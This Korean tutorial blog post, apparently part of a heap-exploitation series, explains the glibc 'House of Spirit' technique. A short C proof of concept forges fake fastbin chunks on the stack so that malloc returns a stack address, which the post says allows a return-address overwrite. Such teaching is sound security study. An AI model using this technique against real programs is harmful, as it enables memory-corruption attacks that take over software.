house of spirit
house of spirit은 공격자가 기존 포인터를 'free'하기 전에 덮어 쓰는 것과 관련하여 다른 공격과 약간 다르다. 공격자는 메모리(힙, 스택 등)의 어느 곳에서나 상주 할 수 있는 포인터를 덮어씁니다. 청크는 모든 보안 테스트를 통과 할 수 있는 방식으로 설계한다. 어렵지 않으며 크기와 다음 chunks 크기만 설정하면 된다. fake chunk가 free되면, 그것은 적절한 binlist에 삽입됩니다. 이 크기에 대한 malloc호출은 공격자의 fake chunk를 호출한다. 최종결과는 'forging chunks attack'과 유사하다.
샘플 코드 :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 | struct fast_chunk { size_t prev_size; size_t size; struct fast_chunk *fd; struct fast_chunk *bk; char buf[0x20]; // chunk falls in fastbin size range }; struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory // fake_chunks[0] at 0x7ffe220c5ca0 // fake_chunks[1] at 0x7ffe220c5ce0 void *ptr, *victim; ptr = malloc(0x30); // First malloc // Passes size check of "free(): invalid size" fake_chunks[0].size = sizeof(struct fast_chunk); // 0x40 // Passes "free(): invalid next size (fast)" fake_chunks[1].size = sizeof(struct fast_chunk); // 0x40 // Attacker overwrites a pointer that is about to be 'freed' ptr = (void *)&fake_chunks[0].fd; // fake_chunks[0] gets inserted into fastbin free(ptr); victim = malloc(0x30); // 0x7ffe220c5cb0 address returned from malloc | cs |
예상대로 반환된 포인터는 fake_chunks[0] 보다 16바이트 앞을 가리킨다. fd포인터가 저장된 주소다. 힙공간 대신에 스택의 메모리를 가리킨다.
공격자는 스택의 return 어드레스를 수정에서 exploit한다.
일반적으로 우리는 우리가 할당한 메모리에 데이터를 쓴다. 그렇기 때문에 만약 malloc이 반환하는 주소를 제어할 수 있다면, write-anything-anywhere를 실현할 수 있다.House of Spirit의 최종적인 효과는 공격자가 만든 가짜 청크를 fastbin을 통해 반환하게 하는 것이다.
'Heap' 카테고리의 다른 글
12.Shrinking Free Chunks (0) | 2018.06.19 |
---|---|
11.Unlink Exploit (0) | 2018.06.11 |
10.Forging chunks (0) | 2018.06.07 |
09.Double Free (0) | 2018.06.07 |
08.First-fit behavior (0) | 2018.06.06 |